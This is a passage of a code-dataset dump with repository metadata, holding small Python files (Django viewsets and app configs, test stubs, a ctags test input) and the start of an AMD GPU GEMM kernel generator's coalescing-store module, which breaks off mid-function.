| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
f091b2b3bdd4f23cd353868468a7a0008a94db45
| 245
|
py
|
Python
|
livres/api/viewsets.py
|
LombaAnderson/Librairie_Django
|
d9988d763e28aa66ed572f2b1df439b54e85742e
|
[
"MIT"
] | null | null | null |
livres/api/viewsets.py
|
LombaAnderson/Librairie_Django
|
d9988d763e28aa66ed572f2b1df439b54e85742e
|
[
"MIT"
] | null | null | null |
livres/api/viewsets.py
|
LombaAnderson/Librairie_Django
|
d9988d763e28aa66ed572f2b1df439b54e85742e
|
[
"MIT"
] | null | null | null |
from rest_framework import viewsets
from livres.api.serializers import LivresSerializers
from livres.models import Livres
class LivresViewSet(viewsets.ModelViewSet):
serializer_class = LivresSerializers
queryset = Livres.objects.all()
| 27.222222
| 52
| 0.82449
| 27
| 245
| 7.407407
| 0.62963
| 0.1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122449
| 245
| 8
| 53
| 30.625
| 0.930233
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f093dcb805741c02cbe6630ec403782e7471d162
| 91
|
py
|
Python
|
apiformypartner/bikerent/apps.py
|
CodeChefVIT/myPartner
|
e82ef1febc96ce88e256dda06f71b68ffcf5f1be
|
[
"MIT"
] | 1
|
2021-05-20T05:44:14.000Z
|
2021-05-20T05:44:14.000Z
|
apiformypartner/bikerent/apps.py
|
CodeChefVIT/myPartner
|
e82ef1febc96ce88e256dda06f71b68ffcf5f1be
|
[
"MIT"
] | 1
|
2020-07-26T07:48:14.000Z
|
2020-07-26T07:48:14.000Z
|
apiformypartner/bikerent/apps.py
|
CodeChefVIT/myPartner
|
e82ef1febc96ce88e256dda06f71b68ffcf5f1be
|
[
"MIT"
] | 3
|
2020-07-12T17:34:10.000Z
|
2020-07-31T19:01:51.000Z
|
from django.apps import AppConfig
class BikerentConfig(AppConfig):
name = 'bikerent'
| 15.166667
| 33
| 0.758242
| 10
| 91
| 6.9
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164835
| 91
| 5
| 34
| 18.2
| 0.907895
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f09801197f8fffd048e442d892245145780a2cc3
| 35
|
py
|
Python
|
tests/__init__.py
|
msicilia/bfiao
|
61febf1552b08d353d8fbeae0d450e98200d1b93
|
[
"MIT"
] | null | null | null |
tests/__init__.py
|
msicilia/bfiao
|
61febf1552b08d353d8fbeae0d450e98200d1b93
|
[
"MIT"
] | null | null | null |
tests/__init__.py
|
msicilia/bfiao
|
61febf1552b08d353d8fbeae0d450e98200d1b93
|
[
"MIT"
] | null | null | null |
"""Unit test package for bfiao."""
| 17.5
| 34
| 0.657143
| 5
| 35
| 4.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 35
| 1
| 35
| 35
| 0.766667
| 0.8
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f0be5979cf5b1a5a75ad00ab1d776be0794b67c1
| 79
|
py
|
Python
|
pymavlink-2.3.8/__init__.py
|
NicEscobar/InertialNavigation
|
85dffed6cf5c4063a097c3c9305f4ec92ce53623
|
[
"MIT"
] | 10
|
2021-03-15T03:58:06.000Z
|
2021-12-30T15:33:38.000Z
|
pymavlink-2.3.8/__init__.py
|
NicEscobar/InertialNavigation
|
85dffed6cf5c4063a097c3c9305f4ec92ce53623
|
[
"MIT"
] | 4
|
2021-05-03T16:58:53.000Z
|
2021-12-21T21:01:02.000Z
|
pymavlink-2.3.8/__init__.py
|
NicEscobar/InertialNavigation
|
85dffed6cf5c4063a097c3c9305f4ec92ce53623
|
[
"MIT"
] | 9
|
2021-04-28T15:26:34.000Z
|
2021-12-21T20:41:30.000Z
|
'''Python MAVLink library - see http://www.qgroundcontrol.org/mavlink/start'''
| 39.5
| 78
| 0.746835
| 10
| 79
| 5.9
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075949
| 79
| 1
| 79
| 79
| 0.808219
| 0.911392
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f0c20f290dd304e390450dab26e8fc58e694a5fb
| 104
|
py
|
Python
|
overlay_content/apps.py
|
rhilenova/overlay
|
a97fd576ebbfed842e1136b63a4099404aff18aa
|
[
"Unlicense"
] | null | null | null |
overlay_content/apps.py
|
rhilenova/overlay
|
a97fd576ebbfed842e1136b63a4099404aff18aa
|
[
"Unlicense"
] | null | null | null |
overlay_content/apps.py
|
rhilenova/overlay
|
a97fd576ebbfed842e1136b63a4099404aff18aa
|
[
"Unlicense"
] | null | null | null |
from django.apps import AppConfig
class OverlayContentConfig(AppConfig):
name = 'overlay_content'
| 17.333333
| 38
| 0.788462
| 11
| 104
| 7.363636
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144231
| 104
| 5
| 39
| 20.8
| 0.910112
| 0
| 0
| 0
| 0
| 0
| 0.144231
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f0df747fb976d01ce9008c10cd3d92e3df1527dc
| 24
|
py
|
Python
|
hive/dpay/__init__.py
|
dpays/hivemind
|
362d7d13c735056f2c8ed8f65b20f2384131779f
|
[
"MIT"
] | null | null | null |
hive/dpay/__init__.py
|
dpays/hivemind
|
362d7d13c735056f2c8ed8f65b20f2384131779f
|
[
"MIT"
] | null | null | null |
hive/dpay/__init__.py
|
dpays/hivemind
|
362d7d13c735056f2c8ed8f65b20f2384131779f
|
[
"MIT"
] | null | null | null |
"""DPayd API client."""
| 12
| 23
| 0.583333
| 3
| 24
| 4.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 24
| 1
| 24
| 24
| 0.666667
| 0.708333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0b026889b4ff3c6e1ff5e94952715803c427d9b2
| 1,092
|
py
|
Python
|
GrowCabApi/test/test_editable_measure_group.py
|
GrowCab/GC_hardware
|
0ed7f2eca9bac678726aee730741fe28de7a989a
|
[
"MIT"
] | null | null | null |
GrowCabApi/test/test_editable_measure_group.py
|
GrowCab/GC_hardware
|
0ed7f2eca9bac678726aee730741fe28de7a989a
|
[
"MIT"
] | null | null | null |
GrowCabApi/test/test_editable_measure_group.py
|
GrowCab/GC_hardware
|
0ed7f2eca9bac678726aee730741fe28de7a989a
|
[
"MIT"
] | null | null | null |
"""
GrowCab API
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: v1
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import GrowCabApi
from GrowCabApi.model.editable_actuator_measure import EditableActuatorMeasure
from GrowCabApi.model.editable_sensor_measure import EditableSensorMeasure
globals()['EditableActuatorMeasure'] = EditableActuatorMeasure
globals()['EditableSensorMeasure'] = EditableSensorMeasure
from GrowCabApi.model.editable_measure_group import EditableMeasureGroup
class TestEditableMeasureGroup(unittest.TestCase):
"""EditableMeasureGroup unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testEditableMeasureGroup(self):
"""Test EditableMeasureGroup"""
# FIXME: construct object with mandatory attributes with example values
# model = EditableMeasureGroup() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
| 27.3
| 124
| 0.751832
| 106
| 1,092
| 7.613208
| 0.54717
| 0.05948
| 0.070632
| 0.100372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007726
| 0.17033
| 1,092
| 39
| 125
| 28
| 0.883002
| 0.363553
| 0
| 0.176471
| 1
| 0
| 0.078907
| 0.066768
| 0
| 0
| 0
| 0.025641
| 0
| 1
| 0.176471
| false
| 0.176471
| 0.352941
| 0
| 0.588235
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
|
0
| 4
|
0b1a5a8a7772a3e830d0866479251904ea496bf0
| 139
|
py
|
Python
|
third_party/universal-ctags/ctags/Units/parser-python.r/bug1988026.py.d/input.py
|
f110/wing
|
31b259f723b57a6481252a4b8b717fcee6b01ff4
|
[
"MIT"
] | 4
|
2017-02-07T20:04:31.000Z
|
2022-01-30T14:04:45.000Z
|
third_party/universal-ctags/ctags/Units/parser-python.r/bug1988026.py.d/input.py
|
f110/wing
|
31b259f723b57a6481252a4b8b717fcee6b01ff4
|
[
"MIT"
] | 1
|
2018-01-07T19:14:53.000Z
|
2018-01-07T19:14:53.000Z
|
third_party/universal-ctags/ctags/Units/parser-python.r/bug1988026.py.d/input.py
|
f110/wing
|
31b259f723b57a6481252a4b8b717fcee6b01ff4
|
[
"MIT"
] | 1
|
2021-04-26T09:00:06.000Z
|
2021-04-26T09:00:06.000Z
|
class testClass:
my_var = 0
def main():
pass
if __name__ == '__main__': testClass.main()
def im_a_function():
pass
| 13.9
| 43
| 0.597122
| 18
| 139
| 4
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010101
| 0.28777
| 139
| 9
| 44
| 15.444444
| 0.717172
| 0
| 0
| 0.285714
| 0
| 0
| 0.057971
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.285714
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
0b1ce125954f2e2efd9a07eddbda4a599f0e7a3e
| 128
|
py
|
Python
|
TestingPython.py
|
Neoakb/TestingPython
|
f1674b5e5057e556a8de8ea48bb279589cf77791
|
[
"MIT"
] | null | null | null |
TestingPython.py
|
Neoakb/TestingPython
|
f1674b5e5057e556a8de8ea48bb279589cf77791
|
[
"MIT"
] | null | null | null |
TestingPython.py
|
Neoakb/TestingPython
|
f1674b5e5057e556a8de8ea48bb279589cf77791
|
[
"MIT"
] | null | null | null |
### This is for testing python code ###
print 'here ya go here\'s some shit for ya'
# thanks for that, here's a comment for ya
| 25.6
| 43
| 0.6875
| 25
| 128
| 3.52
| 0.68
| 0.113636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.210938
| 128
| 5
| 44
| 25.6
| 0.871287
| 0.570313
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
0b1ce8c8352360b7154e9801b0e356483157831c
| 96,138
|
py
|
Python
|
python/operations/coalescing_store.py
|
aska-0096/iGEMMgen
|
cff8507355d86e47f5b099cd9b8a81d94fab93d7
|
[
"MIT"
] | 20
|
2020-04-14T14:39:24.000Z
|
2022-02-23T19:37:04.000Z
|
python/operations/coalescing_store.py
|
aska-0096/iGEMMgen
|
cff8507355d86e47f5b099cd9b8a81d94fab93d7
|
[
"MIT"
] | 38
|
2020-04-21T12:23:07.000Z
|
2021-12-31T02:26:21.000Z
|
python/operations/coalescing_store.py
|
aska-0096/iGEMMgen
|
cff8507355d86e47f5b099cd9b8a81d94fab93d7
|
[
"MIT"
] | 9
|
2020-04-20T06:34:16.000Z
|
2022-02-23T19:37:06.000Z
|
################################################################################
#
# MIT License
#
# Copyright (c) 2020-2021 Advanced Micro Devices, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
################################################################################
import math
from .shared_memory import *
from .global_memory import *
from .thread_mapping import *
from .xdlops_mapping import *
import copy
import itertools
IGEMM_COALESCING_GEMM_M_ORDER_M0_M1 = 0
IGEMM_COALESCING_GEMM_M_ORDER_M1_M0 = 1
MAX_LGKMCNT = 16 # 0...15
class ctrl_coalescing_store_t(object):
def __init__(self):
self.ctm = None # ctrl_thread_mapping_t
self.coalescing_groups = 1
self.block_size = 256
self.vector_write_out = 1
self.precision = 'fp32'
self.gemm_m_order = IGEMM_COALESCING_GEMM_M_ORDER_M0_M1
self.gemm_m_m0_m1 = []
# for simplicity, if order is IGEMM_COALESCING_GEMM_M_ORDER_M1_M0, coalescing_groups must be multiply of t_m0
# use adjust_optimal_coalescing_groups() to do this.
# self.s_unmerge_cluster_stride_m0 = None # if not none, means M0*M1 is not continous
def adjust_optimal_coalescing_groups(self):
'''
if coalescing_groups is not multiply of t_m0, we will be very hard to calculate thread stride after load from LDS
this can help make easy index calculation, performance should be no impact
'''
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M1_M0:
cg = self.coalescing_groups
while cg % self.ctm.t_m0() != 0:
cg = cg * 2
assert cg <= self.get_length_m_groups()
self.coalescing_groups = cg
def get_length_m_groups(self):
''' vgprs per thread in m dimension '''
return self.ctm.t_mr() * self.ctm.t_m1() * self.ctm.t_m0()
def get_length_n_groups(self):
''' vgprs per thread in n dimension '''
return self.ctm.t_nr() * self.ctm.t_n1() * self.ctm.t_n0()
def get_subgroups(self):
# num_m_group * num_n_group = num_group
l_mg = self.get_length_m_groups()
l_ng = self.get_length_n_groups()
num_m_groups = math.gcd(self.coalescing_groups, l_mg)
num_n_groups = math.gcd(self.coalescing_groups//num_m_groups, l_ng)
g_mr = math.gcd(num_m_groups, self.ctm.t_mr())
g_m1 = math.gcd(num_m_groups//g_mr, self.ctm.t_m1())
g_m0 = math.gcd(num_m_groups//(g_mr*g_m1), self.ctm.t_m0())
g_nr = math.gcd(num_n_groups, self.ctm.t_nr())
g_n1 = math.gcd(num_n_groups//g_nr, self.ctm.t_n1())
g_n0 = math.gcd(num_n_groups//(g_nr*g_n1), self.ctm.t_n0())
return g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 # g_m1 always 1
def get_transposed_thread_mapping(self):
# after coalescing, the thread mapping is indeed transposed
assert self.ctm.t_n0() % self.vector_write_out == 0
assert self.block_size == (self.ctm.c_mr()*self.ctm.c_nr()*self.ctm.c_m0()*self.ctm.c_n0()*self.ctm.c_m1()*self.ctm.c_n1())
n_n_total = self.ctm.n_n_total()
n_m_total = self.ctm.n_m_total()
assert n_n_total % self.vector_write_out == 0
#trans_t_mr, trans_t_nr, trans_t_m1, trans_t_m0, trans_t_n1, trans_t_n0 = 1,1,1,1,1,1
#trans_c_mr, trans_c_nr, trans_c_m1, trans_c_m0, trans_c_n1, trans_c_n0 = 1,1,1,1,1,1
trans_t_n0 = self.vector_write_out
trans_c_n0 = n_n_total // trans_t_n0
trans_t_m0 = 1
trans_c_m0 = self.block_size // trans_c_n0
trans_t_n1 = 1
trans_c_n1 = 1
trans_t_m1 = n_m_total // (trans_t_m0 * trans_c_m0)
trans_c_m1 = 1
trans_t_nr = 1
trans_c_nr = 1
trans_t_mr = 1
trans_c_mr = 1
transposed_thread_mapping = ctrl_thread_mapping_t()
transposed_thread_mapping.thread_lengths = [trans_t_mr, trans_t_nr, trans_t_m1, trans_t_n1, trans_t_m0, trans_t_n0]
transposed_thread_mapping.cluster_lengths = [trans_c_mr, trans_c_nr, trans_c_m1, trans_c_n1, trans_c_m0, trans_c_n0]
return transposed_thread_mapping
def get_thread_m_stride(self):
ttm = self.get_transposed_thread_mapping()
assert ttm.t_m0() == 1
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = self.get_subgroups()
assert g_m1 == 1
# do some assert
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
m_index_per_group = self.get_m_index_per_group()
thread_m_stride = g_m0 * ttm.n_m0()
else:
m_index_per_group = self.get_m_index_per_group_m1_m0()
thread_m_stride = -1
for ig in range(len(m_index_per_group)):
for ic in range(len(m_index_per_group[ig])):
_list = m_index_per_group[ig][ic]
for idx in range(len(_list) - 1):
diff_m = _list[idx+1] - _list[idx]
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
assert diff_m == thread_m_stride, f"diff_m:{diff_m}, thread_m_stride:{thread_m_stride}"
else:
if thread_m_stride == -1:
thread_m_stride = diff_m
assert diff_m == thread_m_stride, f"diff_m:{diff_m}, thread_m_stride:{thread_m_stride}"
return thread_m_stride
def get_num_dword_per_group(self):
return (self.ctm.t_mr()*self.ctm.t_nr()*self.ctm.t_m0()*self.ctm.t_n0()*self.ctm.t_m1()*self.ctm.t_n1()) // self.coalescing_groups
def get_sub_m0_offset(self, i_c_m0):
ttm = self.get_transposed_thread_mapping()
assert ttm.t_m0() == 1
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = self.get_subgroups()
assert g_m1 == 1
sub_m0_offset = ((i_c_m0 >> int(math.log2(g_m0))) << self.ctm.t_m0()) | (i_c_m0 & (g_m0 - 1))
return sub_m0_offset
#print(" i_c_m0 >> utility_log2(g_m0) << self.t_m0 i_c_m0 & (g_m0 - 1) ")
def get_m0_m1_index(self, m_index):
assert len(self.gemm_m_m0_m1) != 0
m0, m1 = self.gemm_m_m0_m1[0], self.gemm_m_m0_m1[1]
# print(f"m0:{m0}, m1:{m1}")
assert m_index < m0 * m1, f"m_index:{m_index} larger than gemm_m_m0_m1:{self.gemm_m_m0_m1}, please check"
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_index // m1, m_index % m1
else:
return m_index % m0, m_index // m0
def get_m_index_per_group(self):
num_dword_per_group = self.get_num_dword_per_group()
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = self.get_subgroups()
assert g_nr == 1 and g_n1 == 1 and g_n0 == 1
assert g_m1 == 1
l_mr = self.ctm.t_mr() // g_mr
l_m0 = self.ctm.t_m0() // g_m0
ttm = self.get_transposed_thread_mapping()
m_index_per_group = list()
for i_g_mr in range(g_mr):
for i_g_m0 in range(g_m0):
m_idx_start_per_group = i_g_mr * l_mr * self.ctm.n_m0()*self.ctm.n_m1() + i_g_m0 * l_m0
# first, generate current group, m index
m_index = []
for t_mr in range(l_mr):
for tid_along_m0 in range(self.ctm.c_m0()):
for tid_along_m1 in range(self.ctm.c_m1()):
m_idx_start_per_m0 = m_idx_start_per_group + tid_along_m1 * self.ctm.n_m0() + tid_along_m0 * self.ctm.t_m0()
for t_m0 in range(l_m0):
m_idx_start = m_idx_start_per_m0 + t_mr*self.ctm.n_m0()*self.ctm.n_m1() + t_m0
m_index.append(m_idx_start)
assert len(m_index) == ttm.c_m0() * num_dword_per_group, f"{len(m_index)}, {ttm.c_m0()}, {num_dword_per_group}"
m_index.sort()
#print(f"xxxxx:{m_index}")
pixel_m_index = [None] * ttm.c_m0()
# second, record index according to current id
for i, m in enumerate(m_index):
_icm0 = i % ttm.c_m0()
if not pixel_m_index[_icm0]:
pixel_m_index[_icm0] = list()
pixel_m_index[_icm0].append(m)
m_index_per_group.append(pixel_m_index)
return m_index_per_group
def get_m_index_from_m1_m0(self, m_idx):
assert len(self.gemm_m_m0_m1) == 2
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_idx
n_m0, n_m1 = self.gemm_m_m0_m1[0], self.gemm_m_m0_m1[1]
i_m0 = m_idx % n_m0
i_m1 = m_idx // n_m0
return i_m0 * n_m1 + i_m1
def get_m_index_per_group_m1_m0(self):
m_index_per_group = copy.copy(self.get_m_index_per_group())
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_index_per_group
assert len(self.gemm_m_m0_m1) == 2
assert len(m_index_per_group) == self.coalescing_groups
for ig in range(len(m_index_per_group)):
for i_cm0 in range(len(m_index_per_group[ig])):
for i_t in range(len(m_index_per_group[ig][i_cm0])):
m_index = m_index_per_group[ig][i_cm0][i_t]
m_index_per_group[ig][i_cm0][i_t] = self.get_m_index_from_m1_m0(m_index)
return m_index_per_group
class igemm_coalescing_store_t(mc_base_t):
def __init__(self, mc, ctrl):
mc_base_t.__init__(self, mc)
assert type(ctrl) is ctrl_coalescing_store_t
assert ctrl.ctm.t_mr() == 2 and ctrl.ctm.t_nr() == 2
assert ctrl.block_size % ctrl.ctm.n_n_total() == 0, f"block_size:{ctrl.block_size}, gemm_n:{ctrl.ctm.n_n_total()}"
self.ctrl = ctrl
def name(self):
return ''
def init_co_lds_offset(self, v_co_sst, v_co_sld, v_gemm_im, v_gemm_in, v_tid, v_tmp2):
'''
v_gemm_im, v_gemm_in must be computed from get_gemm_index_for_dst_matrix
'''
ctrl = self.ctrl
data_byte = amdgpu_precision_data_byte(ctrl.precision)
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = self.ctrl.get_subgroups()
with self._deferred_context():
self._emit(f"; init_co_lds_offset")
gemm_m_shrink = g_m0
if gemm_m_shrink != 1:
self._emit(f"v_lshrrev_b32 v[{v_tmp2}], {utility_log2(gemm_m_shrink)}, v[{v_gemm_im}]")
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_tmp2}], {utility_log2(ctrl.ctm.n_m_total())}, v[{v_gemm_in}]")
else:
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_gemm_im}], {utility_log2(ctrl.ctm.n_m_total())}, v[{v_gemm_in}]")
self._emit(f"v_lshlrev_b32 v[{v_co_sst}], {utility_log2(data_byte)}, v[{v_co_sst}]")
self._emit(f"v_lshlrev_b32 v[{v_co_sld}], {utility_log2(data_byte * ctrl.vector_write_out)}, v[{v_tid}]")
return self._get_deferred()
def init_co_sub_m_index(self, v_co_sub_m_index, v_tid, v_tmp2):
ctrl = self.ctrl
# need use v_co_sub_m_index to calculate v offset in m direction
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = ctrl.get_subgroups()
assert g_m1 == 1
# sub_m0_offset = ((i_c_m0 >> int(math.log2(g_m0))) << self.ctm.t_m0()) | (i_c_m0 & (g_m0 - 1))
l_mr = ctrl.ctm.t_mr() // g_mr
l_m0 = ctrl.ctm.t_m0() // g_m0
with self._deferred_context():
self._emit(f"; init_co_sub_m_index")
if ctrl.vector_write_out == 1:
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(ctrl.ctm.n_n_total())}, v[{v_tid}]")
else:
self._emit(f"v_lshlrev_b32 v[{v_tmp2}], {utility_log2(ctrl.vector_write_out)}, v[{v_tid}]")
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(ctrl.ctm.n_n_total())}, v[{v_tmp2}]")
self._emit(f"v_and_b32 v[{v_tmp2}], {l_m0 - 1}, v[{v_co_sub_m_index}]")
self._emit(f"v_lshrrev_b32 v[{v_tmp2}+1], {utility_log2(l_m0)}, v[{v_co_sub_m_index}]")
self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}] v[{v_tmp2}+1], {utility_log2(ctrl.ctm.t_m0())}, v[{v_tmp2}]")
return self._get_deferred()
def init_co_sub_n_index(self, v_co_sub_n_index, v_tid, v_tmp2):
ctrl = self.ctrl
# need use v_co_sub_n_index to calculate v offset in n direction
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = ctrl.get_subgroups()
assert g_m1 == 1
l_mr = ctrl.ctm.t_mr() // g_mr
l_m0 = ctrl.ctm.t_m0() // g_m0
with self._deferred_context():
self._emit(f"; init_co_sub_n_index")
if ctrl.vector_write_out == 1:
self._emit(f"v_and_b32 v[{v_co_sub_n_index}], {ctrl.ctm.n_n_total() - 1}, v[{v_tid}]")
else:
self._emit(f"v_lshlrev_b32 v[{v_tmp2}], {utility_log2(ctrl.vector_write_out)}, v[{v_tid}]")
self._emit(f"v_and_b32 v[{v_co_sub_n_index}], {ctrl.ctm.n_n_total() - 1}, v[{v_tmp2}]")
return self._get_deferred()
def __call__(self, v_c, v_co_sst, v_co_sld, s_p_out, v_out_offset, s_out_offset, s_gemm_m0_stride, s_gemm_m1_stride, s_tmp4, v_store_flag = None):
# if no need s_out_offset, set to integer 0
# if no need flag to dicide store, set v_store_flag to 0
ctrl = self.ctrl
data_byte = amdgpu_precision_data_byte(ctrl.precision)
v_c = sym_t(v_c)
v_co_sst = sym_t(v_co_sst)
v_co_sld = sym_t(v_co_sld)
s_tmp4 = sym_t(s_tmp4)
g_mr, g_m1, g_m0, g_nr, g_n1, g_n0 = self.ctrl.get_subgroups()
assert g_m1 == 1 and g_nr == 1 and g_n1 == 1 and g_n0 == 1
l_mr = ctrl.ctm.t_mr() // g_mr
l_m0 = ctrl.ctm.t_m0() // g_m0
no_s_out_offset = s_out_offset is None
# mc, vec_count, vec_byte, vec_stride, sst_base=0):
inst_sst = inst_ds_write2_likely_t(self.mc, 2, ctrl.ctm.t_n0() * data_byte, ctrl.ctm.n_n_total() * data_byte // 2)
# mc, vec_count, vec_byte, vec_stride, sld_base = 0):
inst_sld = inst_ds_read2_likely_t(self.mc, 2, ctrl.vector_write_out * data_byte, ctrl.block_size * ctrl.vector_write_out * data_byte)
# self, vdata, vaddr, srsrc, soffset, offset):
inst_gst = inst_buffer_store_t(ctrl.vector_write_out * data_byte)
s_out_offset_itr = sym_t(s_tmp4(0))
s_thread_m_stride = sym_t(s_tmp4(1))
if ctrl.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
m_index_per_group = ctrl.get_m_index_per_group()
else:
m_index_per_group = ctrl.get_m_index_per_group_m1_m0()
thread_m_stride = ctrl.get_thread_m_stride()
assert len(m_index_per_group) == ctrl.coalescing_groups
with self._deferred_context():
self._emit(f"; coalescing store, gemm_mxn:{ctrl.ctm.n_m_total()}x{ctrl.ctm.n_n_total()}, block:{ctrl.block_size}, m_repeatxm_perthread:{ctrl.ctm.t_mr()}x{ctrl.ctm.t_m0()}, n_repeatxn_perthread:{ctrl.ctm.t_nr()}x{ctrl.ctm.t_n0()}")
